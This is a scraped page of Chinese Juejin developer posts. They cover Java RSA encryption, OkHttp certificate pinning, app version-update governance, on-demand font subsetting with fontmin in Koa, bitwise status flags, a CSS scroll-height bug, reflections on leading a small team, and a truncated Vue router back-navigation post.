import java.security.spec.X509EncodedKeySpec;

public class RSAUtil {
public static byte[] encrypt(byte[] data, PublicKey publicKey) throws Exception {
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
return cipher.doFinal(data);
}

public static byte[] decrypt(byte[] encryptedData, PrivateKey privateKey) throws Exception {
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
cipher.init(Cipher.DECRYPT_MODE, privateKey);
return cipher.doFinal(encryptedData);
}

public static PublicKey getPublicKey(byte[] publicKeyBytes) throws Exception {
X509EncodedKeySpec keySpec = new X509EncodedKeySpec(publicKeyBytes);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
return keyFactory.generatePublic(keySpec);
}

public static PrivateKey getPrivateKey(byte[] privateKeyBytes) throws Exception {
PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(privateKeyBytes);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
return keyFactory.generatePrivate(keySpec);
}
}

Q:证书固定问题

Certificate Pinning 涉及到涉及到三层证书:根证书(Root Certificate)、中间证书(Intermediate Certificate)和服务器证书(Server Certificate)。每个证书都有自己的公钥,因此在证书固定中需要验证这三个证书的公钥。 具体做法是,将服务器证书和根证书的 hash 值添加到证书固定中,这样,在建立连接时,除了验证服务器证书的公钥外,还会验证中间证书和根证书的公钥,确保整个证书链的完整性和真实。

这里以 example.com为例:

import okhttp3.CertificatePinner;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

public class CertificatePinningExample {

public static void main(String[] args) throws Exception {
OkHttpClient client = new OkHttpClient.Builder()
.certificatePinner(new CertificatePinner.Builder()
.add("example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=") // 服务器证书的哈希值
.add("example.com", "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=") // 根证书的哈希值
.build())
.build();

Request request = new Request.Builder()
.url("https://example.com")
.build();

try (Response response = client.newCall(request).execute()) {
System.out.println(response.body().string());
}
}
}

AI 是个好东西~

参考文章


作者:hongyi0609
来源:juejin.cn/post/7333162360360796171
收起阅读 »

移动端APP版本治理

1、背景 在许多公司,APP版本都是不受重视的,产品忙着借鉴,开发埋头编码,测试想着不粘锅。 只有在用户反馈app不能用的时候,你回复客服说,让用户升级最新版本,是不是很真实。 而且业界也很少有听说版本治理的,但其实需求上线并不是终点,在用户数据回传之前,这中...
继续阅读 »

1、背景


在许多公司,APP版本都是不受重视的,产品忙着借鉴,开发埋头编码,测试想着不粘锅。


只有在用户反馈app不能用的时候,你回复客服说,让用户升级最新版本,是不是很真实。


而且业界也很少有听说版本治理的,但其实需求上线并不是终点,在用户数据回传之前,这中间还有一个更新升级的空档期,多数公司在这里都是一个“三不管”地带,而这个空档期,我称之为版本交付的最后一公里



2、价值



2.1、业务侧


总有人会挑战“有什么业务价值?”对吧,那就先从业务价值来看。


尽管有些app的有些业务是动态发布的,但也一定会有些功能是依赖跟版的,也就是说,你没办法让所有用户都用上你的新功能,那对于产运团队来说,业务指标就还有提升的空间。


举两个例子:



  1. 饿了么免单活动需要8.+版本以上的app用户才能参与,现在参与用户占比80%,治理一波后,免单用户参与占比提升到90%,对业务来说,免单数没变,但是订单量却是有实实在在的提升的。

  2. 再来一个,酷狗音乐8.+的app用户才可以使用扫码登录,app低版本治理之后,扫码登录的用户占比势必也会提升,那相应的,登录成功率也可以提升,登录流程耗时也会缩短,这都是实实在在的指标提升。



虚拟数据,不具备真实参考性。



2.2、技术侧


说完业务看技术,在技术侧也可以分为三个维度来看:



  1. 稳定性,老版本的crash、anr之类的问题在新版本大概率是修复了的,疑难杂症可能久一点;

  2. 性能优化,比如启动、包大小、内存,可以预见是比老版本表现更好的,个别指标一两个版本可能会有微量劣化,但是一直开倒车的公司早晚会倒闭;

  3. 安全合规,不管是老的app版本还是老的服务接口,都可能会存在安全问题,那么黑产就可能抓住这个漏洞从而对我们服务的稳定性造成隐患,甚至产生资损;


2.3、其他方面


除了上面提到的业务指标和用户体验之外,还有没有?


有没有想过,老版本的用户升上来之后,那些兼容老版本的接口、系统服务等,是不是可以下线了,除了减少人力维护成本之外,还能减少机器成本啊,这也都是实打实的经费支出。


对于项目本身来说,也可以去掉一些无用代码,减少项目复杂度,提升健壮性、可维护性。


3、方案



3.1、升级交互


采用新的设计语言和新的交互方式。


3.1.1、弹窗样式


样式上要符合app整体的风格,信息展示明确,主次分明。


bad casegood case

3.1.2、操作表达


按钮的样式要凸显出来,并放在常规易操作的位置上。


bad casegood case

3.1.3、提醒链路


从一级菜单到二级页面的更新提醒链路,并保持统一。



3.1.4、进度感知


下载进度一定要可查看并准确,如果点了按钮之后什么提示都没有,用户会进入一个很迷茫的状态,体验很差。



3.2、提醒策略


我们需要针对不同的用户下发不同的提醒策略,这种更细致的划分,不光是为了稳定性和目标的达成,也是为了更好的用户体验,毕竟反复提醒容易引起用户的反感。


3.2.1、提醒时机


提醒时机其实是有讲究的,原则上是不能阻塞用户的行为。


特别是有强制行为的情况,比如强更,肯定不能在app启动就无脑拉起弹窗。



bad case:双十一那天,用户正争分夺秒准备下单呢,结果你让人升级,这不扯淡的吗。



时机的考虑上有两个维度:



  1. 平台:峰时谷时;

  2. 用户:闲时忙时;


3.2.2、逻辑引擎


为什么需要逻辑引擎呢?逻辑引擎的好处是跨端,双端逻辑可以保持一致,也可以动态下发。




可以使用接口平替,约定好协议即可。



3.2.3、软强更


强制更新虽然有可以预见的好效果,但是也伴随着投诉风险,要做好风险管控。


而在2023-02-27日,工信部更是发布了《关于进一步提升移动互联网应用服务能力》的通知,其中第四条更是明确表示“窗口关闭用户可选”,所以强更弹窗并不是我们的最佳选择。



虽然强更不可取,但是我们还可以提高用户操作的费力度,在取消按钮上增加倒计时,再根据低版本用户的分层,来配置不同的倒计时梯度,比如5s、10s、20s这样。


用户一样可以选择取消,但是却要等待一会,所以称之为软强更



3.2.4、策略字段



  • 标题

  • 内容

  • 最新版本号

  • 取消倒计时时长

  • 是否提醒

  • 是否强更

  • 双端最低支持的系统版本

  • 最大提醒次数

  • 未更新最大版本间隔

  • 等等


3.3、提示文案


升级文案属于是ROI很高的了,只需要总结一下新版本带来了哪些新功能、有哪些提升,然后配置一下就好了,但是对用户来说,却是实打实的信息冲击,他们可以明确的感知到新版本中的更新,对升级意愿会有非常大的提升。



虽然说roi很高,但是也要花点心思,特别是大的团队,需要多方配合。


首先是需求要有精简的价值点,然后运营同学整合所有的需求价值点,根据优先级,出一套面向用户的提醒话术,也就是提示的升级文案了。



3.4、更新渠道


iOS用户一般在App Store更新应用,但是对于Android来说,厂商比较多,对应的渠道也多,还有一些三方的,这些碎片化的渠道自然就把用户人群给分流了,为了让每一个用户都有渠道可以更新到最新版本,那就需要在渠道的运营上下点功夫了,尽可能的多覆盖。



除了拓宽更新渠道之外,在应用市场的介绍也要及时更新。


还有一点细节是,优化应用市场的搜索关键词。


最后,别忘了自有渠道-官网。


3.5、触达投放


如果我们做了上面这么多,还是有老版本的用户不愿意升级怎么办?我们还有哪些方式可以告诉他需要升级?


触达投放是一个很好的方式,就像游戏里的公告、全局喇叭一样,但是像发短信这种需要预算的方式一般都是放在最后使用的,尽可能的控制成本。




避免过度打扰,做好人群细分,控制好成本。



3.6、其他方案


类型介绍效果
更新引导更新升级操作的新手引导😀
操作手册描述整个升级流程,可以放在帮助页面,也可以放在联系客服的智能推荐🙂
营销策略升级给会员体验、优惠券之类的😀
内卷策略您获得了珍贵的内测机会,您使用的版本将领先同行98%😆
选择策略「88%的用户选择升级」,替用户做选择😆
心理策略「预计下载需要15秒」,给用户心理预期😀
接口拦截在使用某个功能或者登录的时候拦截,引导下载最新版本😆
自动下载设置里面加个开关,wifi环境下自动下载安装包😀
版本故事类似于微信,每个版本都有一个功能介绍的东西,点击跳转加上新手引导🙂

好的例子:


淘宝拼多多

4、长效治理


制定流程SOP,形成一个完整链路的组合拳打法🐶。


白话讲,就是每当一个新版本发布的时候,明确在每个时间段要做什么事,达成什么样的目标。


让更多需要人工干预的环节,都变成流程化,自动化。



5、最后


一张图总结APP版本治理依次递进的动作和策略。



作者:yechaoa
来源:juejin.cn/post/7299799127625170955
收起阅读 »

如何将用户输入的名称转成艺术字体-fontmin.js

web
写在开头 日常我们在页面中使用特殊字体,一般操作都是直接由前端来全量引入设计师提供的整个字体包即可,具体操作如下: <template> <div class="font">橙某人</div> </template...
继续阅读 »

写在开头


日常我们在页面中使用特殊字体,一般操作都是直接由前端来全量引入设计师提供的整个字体包即可,具体操作如下:


<template>
<div class="font">橙某人</div>
</template>

<style scoped>
@font-face {
font-family: "orange";
src: url("./orange.ttf");
}
.font {
font-family: "orange";
}
</style>


很简单吧🤡,但有时应用场景不同,可能需要我们考虑一下性能问题。



一般来说,我们常见的字体包整个是非常大的,小的有几M到十几M,大的可能去到上百M都有,特别是中文类的字体包会相对英文类的要更大一些。



如本文案例,我们仅需在用户输入完后加载对应的字体包即可,这样能避免性能的损耗。


为此,我们需要把整个字体包拆分、细致化、子集化,让它能达到按需引入的效果。


那么这要如何来做这个事情呢?这个方案单单前端可做不了,我们需要配合后端一起,下面就来看看具体的实现过程吧。😗


前端


前端小编用 Vue 来编写,具体如下:


<template>
<div>
<input v-model="name" />
<button @click="handleClick">生成</button>
<div v-if="showName" class="font">{{ showName }}</div>
</div>

</template>

<script>
export default {
data() {
return {
name: "",
showName: "",
};
},
methods: {
handleClick() {
// 创建link标签
const linkElement = document.createElement("link");
linkElement.setAttribute("rel", "stylesheet");
linkElement.setAttribute("type", "text/css");
linkElement.href = `http://localhost:3000?name=${encodeURIComponent(this.name)}`;
document.body.appendChild(linkElement);
// 优化显示效果
setTimeout(() => {
this.showName = this.name;
}, 300);
},
},
};
</script>


<style>
.font {
font-family: orange;
font-size: 50px;
}
</style>


应该都能看懂吧,主要就是生成了一个 <link /> 标签并插入到文档中,标签的请求地址指向我们服务端,至于服务端会返回什么你可以先猜一猜。👻


服务端


服务端小编选择用 Koa2 来编写,你也可以选择 Express 或者 Egg ,甚至 Node 也是可以的,差异不大,具体逻辑如下:


const koa = require("koa2");
const fs = require("fs");
const FontMin = require("fontmin");

const app = new koa();

/** @name 优化,缓存已经加载过的字体包进内存 **/
const fontFamilyMap = {};

/** @name 加载字体包 **/
function loadFontLibrary(fontPath, fontFamily) {
if (fontFamilyMap[fontFamily]) return fontFamilyMap[fontFamily];
return new Promise((resolve, reject) => {
fs.readFile(fontPath, (error, file) => {
if (error) {
reject(new Error(error.message));
} else {
fontFamilyMap[fontFamily] = file;
resolve(file);
}
});
});
}

app.use(async (ctx) => {
const { name } = ctx.query;
// 设置返回文件类型
ctx.set("Content-Type", "text/css");

const fontPath = "./font/orange.ttf";
const fontFamily = "orange";
if (!fs.existsSync(fontPath)) return (ctx.body = "字体包读取失败");

const fontMin = new FontMin();
const fontFile = await loadFontLibrary(fontPath, fontFamily);
fontMin.src(fontFile);

const getFontCSS = () => {
return new Promise((resolve) => {
fontMin
.use(FontMin.glyph({ text: name }))
.use(FontMin.css({ base64: true, fontFamily }))
.run((error, files) => {
if (error) {
console.log("error", error.message);
} else {
const fontContent = files?.[1]?.contents;
resolve(fontContent);
}
});
});
};

const fontCSS = await getFontCSS();

ctx.body = fontCSS;
});

app.listen(3000);

console.log("服务器开启: http://localhost:3000/");

我们主要是采用了 Fontmin 库来完成整个字体包的按需加载功能,这个库是第一个纯 JavaScript 字体子集化方案。



可能有后端是 Java 或者其他技术栈的小伙伴,你们也不用担心,据小编和公司后端同事了解,不同技术栈也是有对应的库可以解决的,需要的可以自行查查看。










至此,本篇文章就写完啦,撒花撒花。


image.png


希望本文对你有所帮助,如有任何疑问,期待你的留言哦。

老样子,点赞+评论=你会了,收藏=你精通了。


作者:橙某人
来源:juejin.cn/post/7293151700869038099
收起阅读 »

用位运算维护状态码,同事直呼牛X!

位运算是一种非常高效的运算方式。在算法考察中比较常见,它使用位级别的操作来表示和控制状态,这在管理多个布尔标志或状态时尤其有用。那么业务代码中我们如何使用位运算呢? 位运算基础 我们先来回顾一下位运算的基础: 与(AND)运算:只有当两个位都是1时,结果才是...
继续阅读 »

位运算是一种非常高效的运算方式。在算法考察中比较常见,它使用位级别的操作来表示和控制状态,这在管理多个布尔标志或状态时尤其有用。那么业务代码中我们如何使用位运算呢?


位运算基础


我们先来回顾一下位运算的基础:



  • 与(AND)运算:只有当两个位都是1时,结果才是1(a & b)。

  • 或(OR)运算:如果两个位中至少有一个为1,那么结果就是1(a | b)。

  • 异或(XOR)运算:如果两个位不同,则结果为1(a ^ b)。

  • 非(NOT)运算:反转位的值(~a)。

  • 左移:将位向左移动,右侧填充0(a << b)。

  • 右移:将位向右移动,左侧填充0(a >> b)。


业务状态码应用


如何通过位运算维护业务状态码呢?我们可以在一个整数中存储多个布尔值,每个位代表一个不同的状态或标志。


让我们将上述课程状态的例子修改为管理订单状态的示例。假设一个订单有以下几种状态:已创建(Created)、已支付(Paid)、已发货(Shipped)、已完成(Completed)。


定义状态常量


我们首先定义这些状态作为常量,并为每个状态分配一个位:



  • 已创建(Created): 0001 (1)

  • 已支付(Paid): 0010 (2)

  • 已发货(Shipped): 0100 (4)

  • 已完成(Completed): 1000 (8)


Java 实现


接下来,我们在Java中实现一个OrderStatus类来管理这些状态:


public class OrderStatus {

    private static final int CREATED = 1;   // 0001
    private static final int PAID = 2;      // 0010
    private static final int SHIPPED = 4;   // 0100
    private static final int COMPLETED = 8// 1000

    private int status;

    public OrderStatus() {
        this.status = CREATED; // 默认状态为已创建
    }

    // 添加状态
    public void addStatus(int status) {
        this.status |= status;
    }

    // 移除状态
    public void removeStatus(int status) {
        this.status &= ~status;
    }

    // 检查是否有特定状态
    public boolean hasStatus(int status) {
        return (this.status & status) == status;
    }

    // 示例输出
    public static void main(String[] args) {
        OrderStatus orderStatus = new OrderStatus();

        System.out.println("-------订单已支付-----------");
        // 假设订单已支付
        orderStatus.addStatus(PAID);
        System.out.println("创建订单是否创建 " + orderStatus.hasStatus(CREATED));
        System.out.println("创建订单是否支付 " + orderStatus.hasStatus(PAID));

        // 假设订单已发货
        System.out.println("-------订单已发货-----------");
        orderStatus.addStatus(SHIPPED);
        System.out.println("创建订单是否发货 " + orderStatus.hasStatus(SHIPPED));

        // 假设订单已完成
        System.out.println("-------假设订单已完成-----------");
        orderStatus.addStatus(COMPLETED);
        System.out.println("创建订单是否完成 " + orderStatus.hasStatus(COMPLETED));
    }
}

运行结果:


截屏2024-03-06 12.09.07.png


在这个例子中,我们通过OrderStatus类使用位运算来管理订单的不同状态。这种方式允许订单在其生命周期中拥有多个状态,而且能够高效地检查、添加或删除这些状态。当订单状态变化时,我们只需要简单地调用相应的方法来更新状态。这样实现后相信同事肯定对你刮目的!


作者:半亩方塘立身
来源:juejin.cn/post/7343138804482408448
收起阅读 »

谁还没个靠bug才能正常运行的程序😌

web
最近遇到一个问题,计算滚动距离,滚动比例达到某界定值时,显示mask,很常见吧^ _ ^ 这里讲的不是这个需求的实现,是其中遇到了一个比较有意思的bug,靠这个bug才达到了正确效果,以及这个bug是如何暴露的(很重要)。 下面是演示代码和动图 <!DO...
继续阅读 »

最近遇到一个问题,计算滚动距离,滚动比例达到某界定值时,显示mask,很常见吧^ _ ^


这里讲的不是这个需求的实现,是其中遇到了一个比较有意思的bug,靠这个bug才达到了正确效果,以及这个bug是如何暴露的(很重要)。


下面是演示代码和动图


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
.container {
width: 300px;
max-height: 300px;
background-color: black;
position: absolute;
top: 60px;
left: 50%;
transform: translateX(-50%);
overflow-y: auto;
}
.child {
width: 260px;
height: 600px;
margin: 0px 20px;
background-color: pink;
position: relative;
}
.flag {
position: absolute;
width: 100%;
height: 25px;
background-color: blueviolet;
color: aliceblue;
text-align: center;
line-height: 25px;
font-size: 14px;
left: 0;
right: 0;
}
.top {
top: 0;
}
.bottom {
bottom: 0px;
}
</style>
</head>

<body>
<div class="container">
<div class="child">
<div class="flag top">top</div>
<div class="flag bottom">bottom</div>
</div>
</div>
</body>
</html>


20230927105849_rec_.gif




开始计算啦,公式:滚动比例 = 滚动距离 / 可滚动距离


滚动距离: $0.scrollTop


可滚动距离: $0.scrollHeight - $0.offsetHeight


即:scrollRatio = scrollTop / (scrollHeight - offsetHeight)


滚动到底部,计算结果是 300 / (600 - 300) = 1


image.png


我们需要拿scrollRatio某界定值(比如0.1)作大小的比较,计算是true还是false(用isShow = scrollRatio < 某界定值来保存)。


这里一切正常。




不正常的情况出现了


就是没有出现滚动条的情况,即.child的高度没有超过.container的高度时,把.child的高度设成.containermax-height,就没有滚动条了(下面讲的情景也都是没有滚动条的情况)。


image.png


这个时候再去计算,得到了NaN,以至于 NaN < 0.1 = false


image.png


因为isShow的预期就是false,所以一直都没有发现这个bug。




那么它是如何暴露的呢?


后来新的需求给.container加了border。演示一下加border,然后再去计算:


image.png


发现没,这时候$0.offsetHeight的高度把border的高度也算进去了,结果就成了true,这不是想要的结果 ❌。




然后就是一番查验


offsetHeight是一个元素的总高度,包括可见内容的高度、内边距(padding)、滚动条的高度(如果存在)以及边框(border)的高度。


而我们这里只需要可见的高度,就可以用到另一个属性了clientHeight


clientHeight是指元素的可见内容区域的高度,不包括滚动条的高度和边框的高度。它仅包括元素的内部空间,即内容加上内边距。


image.png


当然这也只是继续使除数为0,然后得到结果为NaN,不过bug已经暴露出来了,后面就是一些其他的优化啦~




总结 + 复习(盒模型 box-sizing)


发现没有,offsetHeightclientHeight的区别,就像盒模型中的标准盒模型怪异盒模型的区别:


box-sizing: content-box(默认,标准盒模型):宽度和高度的计算值都 不包含 内容的边框(border)和内边距(padding)。添加padding和border时, 使整个div的宽高变大。


box-sizing: border-box(怪异盒模型):宽度和高度的计算值都 包含 内容的边框(border)和内边距(padding)。添加padding和border时, 不会 使整个div的宽高变大。


这样讲是不是加深一下对这两种属性的印象


^ - ^


作者:aomyh
来源:juejin.cn/post/7283087306603823116
收起阅读 »

职场上的人情世故-初入新公司的第一天

写在前面 想必很多同学在步入新公司的时候,不仅仅带有激动的心情(毕竟大概率涨了点薪资)的同时,也会有点点紧张的心情,也没熟悉的人,也可能不太清楚要做的事儿。4年前刚步入目前所在公司时,也是面临着不少挑战,下面结合我的亲身经历,给大家分享下我是如何快速融入新公司...
继续阅读 »

写在前面


想必很多同学在步入新公司的时候,不仅仅带有激动的心情(毕竟大概率涨了点薪资)的同时,也会有点点紧张的心情,也没熟悉的人,也可能不太清楚要做的事儿。4年前刚步入目前所在公司时,也是面临着不少挑战,下面结合我的亲身经历,给大家分享下我是如何快速融入新公司,如何面对各种挑战。


入职第一天


办理好入职手续后,hr将我带到TL面前,安排好座位后,我尴尬地说了句:”大家好大家好“,更尴尬的是没一个人看向我,好在TL给我解了围:”会有时间给你做自我介绍的,我先发你个文档,搭建好开发环境“。


解锁了第一个任务:【搭建开发环境】


一小时后到了午餐的时间


这里画下重点了,不是每一个公司的同事都会主动拉上新同事吃午饭。这时候又被TL看出我的尴尬:”一会儿还有一批同事去吃饭,你跟他们一起去吧“。


入职新公司后,午餐要跟着同团队的同事一起,主动点跟团
平时有带饭习惯的也先别带了
午餐时间是最好地了解团队信息贺快速融入团队的好机会

下午搭建环境时,发现一处命令始终报错(时间太久实在想不起详情来了),查到正确的命令后找TL报告了下情况,更新了文档。


千万别一来就直接问
先自己思考一段时间
实在解决不了,也要带着自己查询资料后的结论去问下(不要管自己查的对不对,至少有解决问题的态度)

不知不觉时间来到了晚上6:45,下班时间已到,甚至还多加了15分钟班~~
环顾四周,没一个人有走的意思
好吧,接下来要说的我估计会被喷.... 但老夫该说还得说


如果是初创公司建议多留一会儿,毕竟刚来公司,尽快熟悉下公司情况
虽然有点那啥...,但摆一下态度还是能留下一些好印象的
毕竟在试用期,公司与自身是否合拍,还是早点看清楚好些,多花时间调研下
最不济,实在没事儿做,看看群里的同事名字,多记几个总是好的吧

晚上7点过群里发起了投票,问过后才得知加班到20:30可以点加班餐,群里直接投票就行。那还走啥,吃个饭再说。有一说一,这顿晚饭还是挺值的。可不是说省下多少多少晚餐费,而是跟其他同事边吃边聊,更深入的了解了下当前团队的人员配置、当前版本进度以及后续版本安排。对公司产品和研发配置有了更好的理解,这也侧面坚定了我想留下来的信念。


很多时候,吃饭和来根小快乐(不会的别学)的时候,最能拉进同事关系
闲聊的时候多问多了解,老同事在感到被你需要的时候,也很容易拉进同事关系

结束新公司的第一天


总的来说,来公司第一天的表现还是差点意思。事事不够主动,虽说上班的主要目的是挣银子,但对我来说舒适的上班环境和良好的同事氛围还是挺重要的。第一天比较顺利地度过了,公司规模也不小,后面要做什么版本功能也不得而知,还是有点忐忑,毕竟第一天早上TL就直接告知:”我们的试用期不会是常规的三个月,一共三个阶段,会给你安排导师带你,如果某个阶段不合格也会直接劝退“。


我想说,无论做什么版本功能,我相信始终能做出来,只是质量的区别
所以新环境中不用过于紧张,总有水到桥头自然直的时候

后续


试用期的几个月也相当不顺利,做功能的时候也相当痛苦,也有过好几次返工的时候。既然说是后续了,那就后面再细聊。


作者:snowlover
来源:juejin.cn/post/7342750487873257491
收起阅读 »

一年前端经验的我,开始带队开发了!

关于刚开始接触带队开发 时间:2023年3月5日 这篇文章不是工具型文章,单纯聊一聊我工作生活中的心得体会。经历是非常非常勇敢的行为和非常非常有意义的。很多书其实也是一个一个的经历和经历总结。经历总是迷人的。 前言 先简单介绍一下我自己。我是一名前端程序员...
继续阅读 »

关于刚开始接触带队开发


时间:2023年3月5日



这篇文章不是工具型文章,单纯聊一聊我工作生活中的心得体会。经历是非常非常勇敢的行为和非常非常有意义的。很多书其实也是一个一个的经历和经历总结。经历总是迷人的。



前言


先简单介绍一下我自己。我是一名前端程序员,2022年毕业的,但是当时我并没有立即进入程序员的行列。我首先参与了考研考公大军。不过正如我大学时的一位任课老师所说,我并不像个考研的人。我想补充一下,我或许也不是一个考公的人。



哈哈哈,不好意思,我这么久了还记得您这句话。只是印象深刻,因为我当时听到这句话的时候好像我的内心并不排斥,还隐隐觉得是对的🤣。不过老师应该看不到,她是教我们供应链管理的老师,她应该关注不到这儿。



考研我没过初试,考公我没过面试。可以说那段时日我是凄凄惨惨戚戚,严重精神内耗。在生活和内心的重压之下,我准备先到省会找一份工作,先自己养活自己。


22年11月15日,我深刻的记得这天,这是我回到IT的第一天,这天起,我开始了前端开发。我其实入职的是一家小公司,不算大,研发部一开始也就20来号人,所以总有人员不足的时候。特别是我手上的项目,是公司自研项目,但是公司投入的人不多,就我一个前端开发,外加部门经理直接领导我。于是乎我是前端,但不只是前端。


时至今日,我经历了不止前端开发。还有 electron 的桌面端开发、网络安全漏洞复现、漏洞收集分析、视频制作。这些是我在23年夏天开始经常出去做售前的基础。后来我一方面做售前技术支持,一方面收集需求,在经理的指导下做系统优化。后面还做过对产品部分功能模块的原型设计。这也是后来我第一次懵懵懂懂的开始带人一起开发的第一个功能。当时有两个人和我一起开发,我负责前端部分需求实现和 nodejs 后端功能实现,并做总开发进度监督汇报。


这一年的时间中,不乏各位同事对我热情的帮助、经理对我的容忍和耐心指导、还有老板对我的肯定。



1、遥想当初,“package.json”我都会说错🤣,不过那都是过去式。


2、有关的经历我会慢慢通过文字或者视频的形式输出,欢迎持续关注。



又是一次带队协作开发


1 和“队友”打配合的体会


今天我已经不是第一次带队开发了。但是我还是觉得我要把这次真正当成初次。为什么这么说?


这次的开发从调研到设计到整合人马,以及后续我都参与,并且我主要负责。相对而言,这次是更为完整的带队经验。而上一次原型是我画的,针对需求的技术方案调研我也是做过,但是当时我并没有以我是带头人的角度去思考问题,就是简单的,领导要我做啥我做啥,他提出需求,告诉我可以考虑用哪些去做,我就想办法去实现就好了。而这次不一样。我没有完全参与调研,因为这个时候我手上还有很多任务要做,不能完全把时间堆在上面。所以更多的我是让我的“队友”(其实也就只有一个,从公司结构来说她是我的下属)去做主要调研工作,我告诉她我需要她调研什么,结果以什么格式呈现给我。完成后我就她给我的信息做开发计划。



小体会:


要安排下属做一件事情的时候,告诉她“主体是什么”、“我需要的是什么”、“呈现形式是什么”,这将能带来更好的收益。


因为下属也是实习生刚转正,她其实还有很多在汇报或者其他工作上考虑不完善的地方。那这个时候就需要有这样的模式,能够让她快速知道自己要做什么,怎么做。她就不会胡乱给你信息,增大你信息检索的压力。我也明白了,为什么说领导更多时候就是在乎结果。因为直接使用结果对领导是更高效的。



2 开发计划书


开发计划我之前从未写过。我也好久没有一个 word 文档是自己从头到尾一个字一个字码出来的。我也更深刻的感受到了之前大学时期参与 “互联网+” 创新创业比赛中写项目计划书给我带来的思路优势了。我的开发计划书也更有了一点逻辑性。


从市场环境出发,到产品涉及的目标客户的需求共性,来作为开发计划的大背景,也是梳理需求的重要依据。再到需求点分析,需求特征分析。通过需求分析找到实现需求的重要做法。有句话说的好,问题的答案往往要从问题本身去寻找。(不用查了,这是我编的🤪)然后依据需求点要实现什么样的功能。最后是做前端的页面划分、功能描述、后端的数据库设计等。



小体会:


软考除了能帮我们减税、落户加分,还可以帮助我们有系统意识以及设计思想。


23年下半年我参与过一次软考中级考试,备考的经历不长,只有一个月,但是针对“软件设计师”的学习真的让我更好的理解了工作中的一些事情还有项目、电脑上的一些思想。有些计算机的思想甚至能帮助我在生活中拥有更为清晰的思路。



3 动工!小组会议


开会前我可担心了。因为产品所面对的是能懂开发的开发者,产品相对而言更有一些开发的专业性。本身我就是开发者,很容易就会去用我熟悉的词汇去讲,然而这未必是 UI 或者 测试 他们能接受的信息。


有之前和其他部门同事的交流以及和客户交流的经验,我非常明白这点的重要性,所以我本来可以在上午直接开完的会议我硬生生拖到了下午来开。为什么?我做了我能想到的各种情形的回答备案,以及整个会议的把控大纲。和UI我要说明什么,和测试我要强调什么。


但是我还是考虑不周😂。



  1. 对UI,我没有做到更为简单易懂的沟通。我的开发计划书中有对各个页面的功能描述,但是那只是文字。根据文字大家能想想到的情形是不一定相同的。后来我用纸笔给她边说边画,毫无疑问这是低效的,但在当时这是没办法的办法。会议结束前,UI 也告知我,如果没有原型或者草图的情况下,可以考虑给一些竞品的页面和她说,然后说自己需求,这样会更容易理解我想做什么事情。

  2. 我考虑了UI、测试,但是我没有考虑开发。因为我和我的“队友”是负责前后端开发的主要人员,我给她的定位就是前端开发,我习惯了,所以我没有想过会议上要和她说明她要做什么。以至于她会议结束的时候立马问我她要做什么。



当场我也立即意识到了自己疏忽了😂。考虑的还是不够周全。希望我今后不会再发生这样的事情。




小体会:


组织者真是个不好当的角色,他应该尽可能考虑周全,不管是在事务说明上要让所有成员都明白、还要在工作安排上有明确完整的分工,即使对方知道了也应该在会议上明确说明。


幸好我们都是一群年轻人,互相都很好理解。



4 向上汇报——我是怎么避免被压工时


通过小组会议,我不仅要对各个成员的工作做安排,同时也要对任务的工期要有把控。而这个工期的情况,也是需要向上汇报的,这是告诉他什么时候来验收。


这个时候也有一些学问。相信有很多同学被压过工时。我也被压过。我还有过因为自己过少的考虑到工作情况的复杂性,没有给自己留够时间,周末还免费加班过一次。(当时年轻,也是不懂事,不好意思去提加班)。


而这次要开发的内容我之前也没有开发过,而且其中存在很多变数。这个时候是非常难和领导谈判的。因为在领导看来,这些任务就是非常简单的。就比如这个场景:“这个需求,我分分钟就写完了,哪里还需要这么久?你这个时间我不接受,今天下班前一定要出来!”


大学的时候我也学过IT项目管理,我也知道要有工期预计,这也是对成本的估计。但是我这个时候真觉得是扯淡。因为没办法预估啊,太难了,我都不知道会有什么样奇奇怪怪的情况等着我。所以我这次学乖了,我要多估计一些时间,要给领导说清楚我需要这么多时间的原因(就是表明可能存在一些未知的困难,或者手头上的事情还有很多,强压我赶不过来等等)。


我也开始觉得我需要学一学怎么“讨价还价”了。



小体会:


要量力而行,稳妥行事,切忌冲动吹牛夸海口,学会“讨价还价”。





目前能总结出的就是这么多,我犯的错误希望大家可以引以为戒。另外,我也想更多的学习有关领导力的知识还有技巧,欢迎交流。




去经历,不去后悔。保持热爱,奔赴山海!


持续更新中 ... ...


作者:LisEcho
来源:juejin.cn/post/7342793007937552394
收起阅读 »

项目经理要求不能回退到项目以外的路由 , 简单解决 !

web
不知道小伙伴们有遇到过项目经理哪些奇奇怪怪的需求呢 ? 曾经在项目中遇到过这样一个需求 : 点击按钮回退时不能回退到项目以外的路由 ; 例如我们的用户正在访问我们的页面时 , 突然有访问某个有趣的网站的冲动 , 在浏览器输入了一串祖传网址 , 一番欣...
继续阅读 »

不知道小伙伴们有遇到过项目经理哪些奇奇怪怪的需求呢 ?


640 (2).png




  • 曾经在项目中遇到过这样一个需求 : 点击按钮回退时不能回退到项目以外的路由 ;

  • 例如我们的用户正在访问我们的页面时 , 突然有访问某个有趣的网站的冲动 , 在浏览器输入了一串祖传网址 , 一番欣赏后通过浏览器搜索栏回到我们的应用中 , 又点击了我们应用中的回退按钮 , 要求不能回退到用户刚才访问的项目外地址 。



router编程式导航


首先先回顾一下router的两个回退方法(Vue2用法) :



  • this.$router.back() --回退

  • this.$router.go(-1) --前进或后退 , 值为-1时后退


// Vue3用法
// 1. 引入 useRouter 方法
import { useRouter , useRoute } from 'vue-router'
// 2. 实例化router
const router = useRouter()
// 3. 使用方法进行回退
router.back()

history全局对象


我们怎样知道刚才访问的页面是否为项目中配置的路由呢 ?


history对象 !!



  • history对象是浏览器提供的一个全局对象,它包含了浏览器的浏览历史记录

  • history.state : history提供了state属性 , 返回当前历史状态对象


我们在点击返回按钮时可以在控制台查看一下history.state 属性


